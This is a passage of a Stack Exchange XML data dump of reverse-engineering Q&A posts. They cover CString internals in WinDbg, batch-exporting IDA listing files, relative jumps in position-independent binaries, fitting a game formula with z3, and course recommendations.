&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2: @HamZa has mentioned the difficulty to build an AST in some cases and proposed a hybrid approach, like symbolic execution that unfortunately, doesn't scale well. Also, he pointed me to &lt;a href=&quot;http://dro.deakin.edu.au/eserv/DU:30063491/cesare-softwaresimilarity-2013A.pdf&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://www.ieee-security.org/TC/SP2015/papers-archived/6949a674.pdf&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 3: &lt;a href=&quot;http://theory.stanford.edu/~aiken/moss/&quot; rel=&quot;noreferrer&quot;&gt;this&lt;/a&gt; may be an option, but it's not for closed-source binaries (even though assembly code for certain architectures is covered). Also, is being offered as an Internet service and I'd rather not take it down by doing thousands of checks for different libraries every second.&lt;/p&gt;&#xA;" OwnerUserId="23859" LastEditorUserId="23859" LastEditDate="2018-04-08T10:12:03.793" LastActivityDate="2020-09-30T23:23:53.930" Title="How to find if a given library function is used in a binary?" Tags="|binary-analysis|static-analysis|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17926" PostTypeId="2" ParentId="17873" CreationDate="2018-04-08T12:42:44.133" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What is &quot;*(_DWORD *)(a1 - 12) - v3 - 1&quot; doing?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;this is probably undocumented or poorly documented i don't know &lt;/p&gt;&#xA;&#xA;&lt;p&gt;these are from memory of my fiddling with this Cstring (be aware for misinterpretation from my part too )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is trying to return you the substring after &lt;code&gt;*\*&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the Cstring when initialized is normally a part of a bigger structure or class or whatever its terminology is  you can use windbg to follow on any generic Cstring Constructor&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; ?? &amp;amp;s&#xA;class ATL::CStringT&amp;lt;wchar_t,StrTraitMFC_DLL&amp;lt;wchar_t,ATL::ChTraitsCRT&amp;lt;wchar_t&amp;gt; &amp;gt; &amp;gt; * 0x0016fb2c&#xA;   +0x000 m_pszData        : 0x00584630  &quot;C:\Program Files\Microsoft Visual Studio\2017\Community\Common7\Tools&quot;&#xA;&#xA;0:000&amp;gt; $$ your a1 is == 0x584630 &#xA;0:000&amp;gt; $$ your (a1-12) is == (0x584630 - 0n12) = 0x584624 &#xA;0:000&amp;gt; $$ it is accessing the length of cstring-&amp;gt;m_pszData because it is a part of bigger structure &#xA;&#xA;0:000&amp;gt; dt -r cstr!ATL::CNilStringData (0x584630-10)&#xA;   +0x000 pStringMgr       : 0x56dc1578 ATL::IAtlStringMgr&#xA;      +0x000 __VFN_table : 0x567a3458 &#xA;   +0x004 nDataLength      : 0n69&#xA;   +0x008 nAllocLength     : 0n69&#xA;   +0x00c nRefs            : 0n1&#xA;   +0x010 achNil           : [2]  &quot;C:&quot;&#xA;&#xA;0:000&amp;gt; $$ CNilStringData is also a part of bigger struct/class but not relevent to present discussion&#xA;&#xA;0:000&amp;gt; ??  (wchar_t *)(( cstr!ATL::CNilStringData *) @@(0x584630-10))-&amp;gt;achNil&#xA;wchar_t * 0x00584630&#xA; &quot;C:\Program Files\Microsoft Visual Studio\2017\Community\Common7\Tools&quot;&#xA;&#xA;0:000&amp;gt; ??  (wchar_t *)(( cstr!ATL::CNilStringData *) @@(poi(s)-10))-&amp;gt;achNil&#xA;wchar_t * 0x00584630&#xA; &quot;C:\Program Files\Microsoft Visual Studio\2017\Community\Common7\Tools&quot;&#xA;0:000&amp;gt; $$ so *(dword *) (a1-12) is accessing the nDataLength&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can test with some code like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;    CString s(_T(&quot;C:\\Program Files\\Microsoft Visual Studio\\2017\\Community\\Common7\\Tools&quot;));&#xA;    CString t(_T(&quot;C:\\Program Files&quot;));&#xA;    CString u(_T(&quot;C:\\Program Files\\Microsoft Visual Studio&quot;));&#xA;    CString v(_T(&quot;C:\\Program Files\\Microsoft Visual Studio\\2017&quot;));&#xA;    CString w(_T(&quot;C:\\Program Files\\Microsoft Visual Studio\\2017\\Community&quot;));&#xA;    CString x(_T(&quot;C:\\Program Files\\Microsoft Visual Studio\\2017\\Community\\Common7&quot;));&#xA;    int found;&#xA;    CString temp[6] = { s,t,u,v,w,x };&#xA;    for (int i = 0; i &amp;lt; 6; i++) {&#xA;        printf(&quot;%x\n&quot;, wcslen(temp[i].GetBuffer()));&#xA;        if ((found = temp[i].ReverseFind(_T('\\'))) != -1) {&#xA;            printf(&quot;%S\n&quot;, (LPCWSTR)temp[i].Mid(found));&#xA;            printf(&quot;%S\n&quot;, (LPCWSTR)temp[i].Right(found));&#xA;        }&#xA;    }&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiled and executed you would get &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;45&#xA;\Tools&#xA;gram Files\Microsoft Visual Studio\2017\Community\Common7\Tools&#xA;10&#xA;\Program Files&#xA;es&#xA;28&#xA;\Microsoft Visual Studio&#xA;ft Visual Studio&#xA;2d&#xA;\2017&#xA;ogram Files\Microsoft Visual Studio\2017&#xA;37&#xA;\Community&#xA; Files\Microsoft Visual Studio\2017\Community&#xA;3f&#xA;\Common7&#xA;am Files\Microsoft Visual Studio\2017\Community\Common7&#xA;Press any key to continue . . .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;put the compiled exe in windbg and give it a stir&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; .for(r $t0=0; @$t0&amp;lt;6; r $t0 = @$t0+1) { dx  wcslen(temp[@$t0].m_pszData)}&#xA;wcslen(temp[@$t0].m_pszData) : 0x45&#xA;wcslen(temp[@$t0].m_pszData) : 0x10&#xA;wcslen(temp[@$t0].m_pszData) : 0x28&#xA;wcslen(temp[@$t0].m_pszData) : 0x2d&#xA;wcslen(temp[@$t0].m_pszData) : 0x37&#xA;wcslen(temp[@$t0].m_pszData) : 0x3f&#xA;0:000&amp;gt; .for(r $t0=0; @$t0&amp;lt;6; r $t0 = @$t0+1) {dt cstr!ATL::CNilStringData nDataLength @@C++(*(int *)(&amp;amp;temp[@$t0]) - 0x10)}&#xA;   +0x004 nDataLength : 0x45&#xA;   +0x004 nDataLength : 0x10&#xA;   +0x004 nDataLength : 0x28&#xA;   +0x004 nDataLength : 0x2d&#xA;   +0x004 nDataLength : 0x37&#xA;   +0x004 nDataLength : 0x3f&#xA;0:000&amp;gt; .for(r $t0=0; @$t0&amp;lt;6; r $t0 = @$t0+1) {.printf &quot;%mu\n&quot; , @@c++((wchar_t *) temp[@$t0].m_pszData)}&#xA;C:\Program Files\Microsoft Visual Studio\2017\Community\Common7\Tools&#xA;C:\Program Files&#xA;C:\Program Files\Microsoft Visual Studio&#xA;C:\Program Files\Microsoft Visual Studio\2017&#xA;C:\Program Files\Microsoft Visual Studio\2017\Community&#xA;C:\Program Files\Microsoft Visual Studio\2017\Community\Common7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-04-08T12:42:44.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17927" PostTypeId="2" ParentId="17663" CreationDate="2018-04-08T17:39:10.870" Score="4" Body="&lt;p&gt;Additional to PE detection tools (like PEiD, Detect it easy ,Etc) there is some especial code patterns for GCC and MSVC for example GCC use &lt;code&gt;MOV&lt;/code&gt;inst instead of &lt;code&gt;PUSH&lt;/code&gt; inst for pushing a value on stack.&lt;/p&gt;&#xA;" OwnerUserId="23909" LastActivityDate="2018-04-08T17:39:10.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17928" PostTypeId="1" CreationDate="2018-04-08T17:54:25.377" Score="2" ViewCount="215" Body="&lt;p&gt;I'm currently trying to reverse engineer a few equations used in a game, and have collected what seems to be all the relevant data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example below, result speed is definitely based solely on the variables of thrust and weight. note that the game does use variables, but rounds the number&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;thrust | weight | speed&#xA;       |        |&#xA;   428 | 13575  | 188&#xA;   617 | 13575  | 209&#xA;   536 | 23850  | 152&#xA;   995 | 35750  | 175&#xA;   698 | 17475  | 202&#xA;  1373 |  8575  | 278&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible for me to use this data to find the equation through any means except brute force? I've looked around but only found things which used a single variable.There also seems to be diminishing returns on thrust, apart from the increase in weight which comes with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure how to tag this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I originally asked this here (&lt;a href=&quot;https://math.stackexchange.com/questions/2727993/find-equation-based-on-multiple-sets-of-2-variables-and-results&quot;&gt;https://math.stackexchange.com/questions/2727993/find-equation-based-on-multiple-sets-of-2-variables-and-results&lt;/a&gt;), and one of the responses suggested I bring the question here.&lt;/p&gt;&#xA;" OwnerUserId="23908" LastEditorUserId="18945" LastEditDate="2018-04-08T21:23:45.967" LastActivityDate="2018-04-09T11:56:13.280" Title="find equation based on multiple sets of 2 variables and results" Tags="|static-analysis|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17930" PostTypeId="1" AcceptedAnswerId="17935" CreationDate="2018-04-08T20:07:33.243" Score="3" ViewCount="2455" Body="&lt;p&gt;I am using IDA Pro 6 and I'm looking for a way to automatically export an analysed file into &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/441.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;a listing (.lst) file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The interface of IDA enables to do this action using the menu &lt;strong&gt;File &gt; Produce File &gt; Create LST file...&lt;/strong&gt;, but I could not find a way to execute this action in batch mode (by running IDA in a terminal with the -B). The Hex-Rays's &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/417.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;help page&lt;/a&gt; does not seem to help, as I'm unable to find a switch that matches my needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I could get the listing out of IDA in an automated way ? Maybe with a IDC/Python script ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A typical listing I would need is composed of the address location, bytes and assembly for each instruction, such as below (the lines with only comments or variables declaration can be omitted if there is no other possibility):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;text:004016B0             ; =============== S U B R O U T I N E =======================================&#xA;.text:004016B0&#xA;.text:004016B0            ; Attributes: noreturn bp-based frame&#xA;.text:004016B0&#xA;.text:004016B0            ___report_gsfailure proc near       ; CODE XREF: __security_check_cookie(x):$failure$3j&#xA;.text:004016B0&#xA;.text:004016B0            var_324         = dword ptr -324h&#xA;.text:004016B0            var_8       = dword ptr -8&#xA;.text:004016B0            var_4       = dword ptr -4&#xA;.text:004016B0&#xA;.text:004016B0 8B FF                  mov     edi, edi&#xA;.text:004016B2 55                 push    ebp&#xA;.text:004016B3 8B EC                  mov     ebp, esp&#xA;.text:004016B5 81 EC 24 03 00+            sub     esp, 324h&#xA;.text:004016BB A3 40 21 40 00             mov     dword_402140, eax&#xA;.text:004016C0 89 0D 3C 21 40+            mov     dword_40213C, ecx&#xA;.text:004016C6 89 15 38 21 40+            mov     dword_402138, edx&#xA;.text:004016CC 89 1D 34 21 40+            mov     dword_402134, ebx&#xA;.text:004016D2 89 35 30 21 40+            mov     dword_402130, esi&#xA;.text:004016D8 89 3D 2C 21 40+            mov     dword_40212C, edi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2931" LastActivityDate="2018-05-10T06:41:03.377" Title="IDA Pro - how to export a listing file in batch mode" Tags="|ida|disassembly|idapython|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17931" PostTypeId="1" AcceptedAnswerId="17932" CreationDate="2018-04-09T04:09:24.933" Score="4" ViewCount="1724" Body="&lt;p&gt;I'm playing around with Hopper and am looking at the disassembly of a binary that &lt;code&gt;otool&lt;/code&gt; reports as having the &lt;code&gt;PIE&lt;/code&gt; flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's my understanding that as a result, the executable base address will be randomized, and so jumps have to be relative to the current instruction pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, looking at the output of this PIE binary in Hopper, I see absolute jumps like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000001000021df    mov      rbx, rax&#xA;00000001000021e2    test     rbx, rbx&#xA;00000001000021e5    je       0x1000021c0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is Hopper just translating the relative jumps into an absolute jump assuming the text segment is loaded at the standard virtual address of &lt;code&gt;0x100000000&lt;/code&gt;, or am I missing something conceptual with regards to how position independent executables work?&lt;/p&gt;&#xA;" OwnerUserId="23914" LastEditorUserId="23923" LastEditDate="2018-04-09T21:14:40.077" LastActivityDate="2018-04-09T21:14:40.077" Title="Why are there absolute jmps in disassembly of position independent code?" Tags="|assembly|osx|mach-o|macos|pie|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17932" PostTypeId="2" ParentId="17931" CreationDate="2018-04-09T05:36:12.923" Score="5" Body="&lt;p&gt;As mentioned in your comment, the corresponding opcode to &lt;code&gt;je 0x1000021c0&lt;/code&gt; is &lt;code&gt;74 D9&lt;/code&gt;. Thus, there's no doubt that you are facing a relative JMP. Hopper is translating the relative JMP so it'll be easier for a reverse engineer to understand the flow of the code without having to calculate addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll demonstrate what Hopper does with a simple example using radare2 (although you can use your favorite tool to do the same).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, we'll open radare2 with 10000 empty bytes allocated in &lt;code&gt;rwx&lt;/code&gt; permissions so we'll have a &quot;sandbox&quot; to play in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 malloc://10000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since our base address is &lt;code&gt;0x00000000&lt;/code&gt; we'll seek (go to) to &lt;code&gt;0x000021e5&lt;/code&gt; so it'll be easier for us to see the relative jump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; s 0x21e5&#xA;[0x000021e5]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See how our current address changed to &lt;code&gt;0x21e5&lt;/code&gt;? good !  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, let's write our hex-bytes (&lt;code&gt;74 d9&lt;/code&gt;) in the current address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000021e5]&amp;gt; wx 74d9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And disassemble one instruction in this address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000021e5]&amp;gt; pd 1&#xA;        ╰─&amp;lt; 0x000021e5      74d9           je 0x21c0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, radare2, as Hopper does, translated the jump in address&lt;code&gt;0x????21e5&lt;/code&gt; to &lt;code&gt;je 0x????21c0&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-04-09T05:36:12.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17933" PostTypeId="2" ParentId="17931" CreationDate="2018-04-09T05:52:28.820" Score="1" Body="&lt;p&gt;well megabeets was faster &#xA;here is how to check it in windbg &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; ? .&#xA;Evaluate expression: 1999570342 = 772f05a6&#xA;0:000&amp;gt; EB . 74 D9&#xA;0:000&amp;gt; U . L1&#xA;ntdll!LdrpDoDebuggerBreak+0x2c:&#xA;772f05a6 74d9            je      ntdll!LdrpDoDebuggerBreak+0x7 (772f0581)&#xA;0:000&amp;gt; ? 772F0581 - .&#xA;Evaluate expression: -37 = ffffffdb&#xA;0:000&amp;gt; ? 21E5-21C0&#xA;Evaluate expression: 37 = 00000025&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-04-09T05:52:28.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17934" PostTypeId="2" ParentId="17928" CreationDate="2018-04-09T08:26:52.763" Score="2" Body="&lt;p&gt;While it &lt;em&gt;may&lt;/em&gt; be possible to come up with some equation and find out the coefficients from the sample values, they may also be connected in some non-obvious way, so the best solution would be to track down the code which calculates the speed and see how exactly it uses thrust and weight.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-04-09T08:26:52.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17935" PostTypeId="2" ParentId="17930" CreationDate="2018-04-09T10:55:20.247" Score="2" Body="&lt;p&gt;The IDAPython API you need is &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idc-module.html#gen_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;idc.gen_file&lt;/a&gt; . The file type is &lt;code&gt;OFILE_LST&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should run ida as follows: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{your ida executable}  -A -S{full name of the file with script below} {your exe}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idc&#xA;idc.gen_file(idc.OFILE_LST , your_listing_file_name, 0, idc.BADADDR, 0)&#xA;import ida_pro &#xA;ida_pro.qexit()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This script works with IDA 7.1, and you'll probably need to find replacement for &lt;code&gt;ida_pro.qexit&lt;/code&gt; which should cause IDA to quit after finishing the script (in IDA 6.95 and probably earlier versions you can use &lt;code&gt;sys.exit&lt;/code&gt; instead).&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2018-04-10T06:21:34.830" LastActivityDate="2018-04-10T06:21:34.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17936" PostTypeId="2" ParentId="17928" CreationDate="2018-04-09T11:56:13.280" Score="1" Body="&lt;p&gt;The best approach would be to actually RE the binary but since we don't have I'll propose an alternative approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We could use sat solver like &lt;a href=&quot;https://github.com/Z3Prover/z3&quot; rel=&quot;nofollow noreferrer&quot;&gt;z3&lt;/a&gt; to find out the solution for us. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having script like this:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from collections import namedtuple&#xA;DataPoint = namedtuple('DataPoint', 'thrust weight speed')&#xA;&#xA;data = [DataPoint(428, 13575, 188),&#xA;    DataPoint(617, 13575, 209),&#xA;    DataPoint(636, 23850, 152),&#xA;    DataPoint(995, 35750, 175),&#xA;    DataPoint(698, 17474, 202),&#xA;    DataPoint(1373, 8575, 278)]&#xA;&#xA;from z3 import *&#xA;&#xA;a = Int('a')&#xA;b = Int('b')&#xA;&#xA;s = Solver()&#xA;for e in data:&#xA;  s.add(a*e.thrust+b*e.weight==e.speed)&#xA;&#xA;print(s.check())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;unfortunately for us, when running the above we get:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;➜  17928 python sol.py&lt;br&gt;&#xA;  unsat&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There's is no solution the equation that is linear - but you have an model you can work on if you might have an idea what type of equation it should be. The first problem with those data is that we do not know the unit. Speed equal to 188, but what? Is it km/h or knots? Or something else a bit more imaginary for the purpose of the game?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It the game touches a bit of the reality we might want to refer to the physics. There's a &lt;a href=&quot;https://en.wikipedia.org/wiki/Thrust-to-weight_ratio&quot; rel=&quot;nofollow noreferrer&quot;&gt;thrust-to-weight&lt;/a&gt; ratio in aviation that might help you to deduce something from it (maybe there's some correlation between thrust, weight and speed) but to know that maybe we need to ask on &lt;a href=&quot;http://aviation.stackexchange.com&quot;&gt;Aviation&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-04-09T11:56:13.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17937" PostTypeId="2" ParentId="17930" CreationDate="2018-04-09T13:25:43.193" Score="1" Body="&lt;p&gt;contents of directory prior to test &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;ls -l | awk &quot;{print $5 , $8}&quot;&#xA;&#xA;190 bldwmsgbox.bat&#xA;175 dumplst.idc&#xA;108 wmsgbox.cpp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;compiling and linking src &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;bldwmsgbox.bat&#xA;**********************************************************************&#xA;** Visual Studio 2017 Developer Command Prompt v15.6.4&#xA;** Copyright (c) 2017 Microsoft Corporation&#xA;**********************************************************************&#xA;wmsgbox.cpp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;contents of idc file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;cat dumplst.idc&#xA;#include &amp;lt;idc.idc&amp;gt;&#xA;static main(void) {&#xA;auto fp;&#xA;Batch(1);&#xA;Wait();&#xA;fp = fopen(&quot;idclst.lst&quot;,&quot;w&quot;);&#xA;GenerateFile(OFILE_LST,fp,MinEA(),MaxEA(),0x0);&#xA;fclose(fp);&#xA;Exit(0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;automatic analysis and creation of lst file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;e:\IDA_FREE_5\idag.exe -B -Sdumplst.idc wmsgbox.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;deleting the idb and reopening the binary in gui to produce a lst file &#xA;from file-&gt;produce file-&gt;create lst file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;del *.idb&#xA;&#xA;:\&amp;gt;echo &quot;using gui file-&amp;gt;producefile to make another lst for comparison&quot;&#xA;&quot;using gui file-&amp;gt;producefile to make another lst for comparison&quot;&#xA;&#xA;:\&amp;gt;e:\IDA_FREE_5\idag.exe wmsgbox.exe&#xA;&#xA;:\&amp;gt;ls -l *.lst | awk &quot;{print $5 , $8}&quot;&#xA;16877 guiidclst.lst&#xA;18617 idclst.lst&#xA;&#xA;:\&amp;gt;wc -l *.lst&#xA;  574 guiidclst.lst&#xA;  580 idclst.lst&#xA; 1154 total&#xA;&#xA;:\&amp;gt;echo &quot;appears to be whitespace diff &#xA;just 6 ines bigger but too much byte variation &#xA;appears to be whitespace difference &quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;diff output ignoring whitespace and case&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:\&amp;gt;diff -iw idclst.lst guiidclst.lst&#xA;24d23&#xA;&amp;lt; .text:00401000 ; IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII&#xA;33d31&#xA;&amp;lt; .text:00401000 ; UUUUUUUUUUUUUUU S U B R O U T I N E UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU&#xA;66d63&#xA;&amp;lt; .idata:00402000       ; IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII&#xA;71,72c68&#xA;&amp;lt; .idata:00402000                       extrn __imp__ExitProcess@4:dword ; DATA XREF: main+19↑r&#xA;&amp;lt; .idata:00402000                                               ; ExitProcess(x)↑r&#xA;---&#xA;&amp;gt; .idata:00402000       extrn __imp__ExitProcess@4:dword&#xA;78,79c74&#xA;&amp;lt; .idata:00402008                       extrn __imp__MessageBoxA@16:dword ; DATA XREF: main+11↑r&#xA;&amp;lt; .idata:00402008                                               ; MessageBoxA(x,x,x,x)↑r&#xA;---&#xA;&amp;gt; .idata:00402008       extrn __imp__MessageBoxA@16:dword&#xA;82d76&#xA;&amp;lt; .rdata:00402010       ; IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII&#xA;90c84&#xA;&amp;lt; .rdata:00402010       Caption         db 'test',0             ; DATA XREF: main+5↑o&#xA;---&#xA;&amp;gt; .rdata:00402010       Caption db 'test',0&#xA;93c87&#xA;&amp;lt; .rdata:00402018       Text            db 'test',0             ; DATA XREF: main+A↑o&#xA;---&#xA;&amp;gt; .rdata:00402018       Text db 'test',0&#xA;&#xA;:\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-04-09T13:34:50.773" LastActivityDate="2018-04-09T13:34:50.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17938" PostTypeId="1" CreationDate="2018-04-09T21:10:48.723" Score="-2" ViewCount="244" Body="&lt;p&gt;I looking for online reverse engeneer  course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Course that study ida,reverse and patch for windows/ linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working with ida and another tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like many videos lesons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know one?&lt;/p&gt;&#xA;" OwnerUserId="23924" LastActivityDate="2018-04-09T22:43:20.730" Title="Looking for reverse engneer online course" Tags="|ida|windows|linux|patch-reversing|" AnswerCount="2" CommentCount="2" FavoriteCount="0" ClosedDate="2018-04-10T08:24:28.723" ContentLicense="CC BY-SA 3.0" />
  <row Id="17939" PostTypeId="2" ParentId="17938" CreationDate="2018-04-09T21:17:46.360" Score="1" Body="&lt;p&gt;Since you said you like videos, here's a handful of excellent resources off the top of my head:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OpenSecurityTraining's courses&lt;/strong&gt;: &lt;a href=&quot;http://opensecuritytraining.info/Training.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://opensecuritytraining.info/Training.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sam Bowne's CNIT series&lt;/strong&gt;: &lt;a href=&quot;https://www.youtube.com/user/sambowne/videos&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/user/sambowne/videos&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MalwareAnalysisForHedgehogs&lt;/strong&gt; (not a course, but extremely valuable, modern videos): &lt;a href=&quot;https://www.youtube.com/channel/UCVFXrUwuWxNlm6UNZtBLJ-A&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/channel/UCVFXrUwuWxNlm6UNZtBLJ-A&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OALabs&lt;/strong&gt; (also not a course, but awesome, modern videos): &lt;a href=&quot;https://www.youtube.com/channel/UC--DwaiMV-jtO-6EvmKOnqg/videos&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/channel/UC--DwaiMV-jtO-6EvmKOnqg/videos&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-04-09T21:17:46.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17940" PostTypeId="2" ParentId="17938" CreationDate="2018-04-09T22:43:20.730" Score="1" Body="&lt;p&gt;You can check the Malware Analysis course at - &lt;a href=&quot;https://github.com/RPISEC/Malware&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/RPISEC/Malware&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23930" LastActivityDate="2018-04-09T22:43:20.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
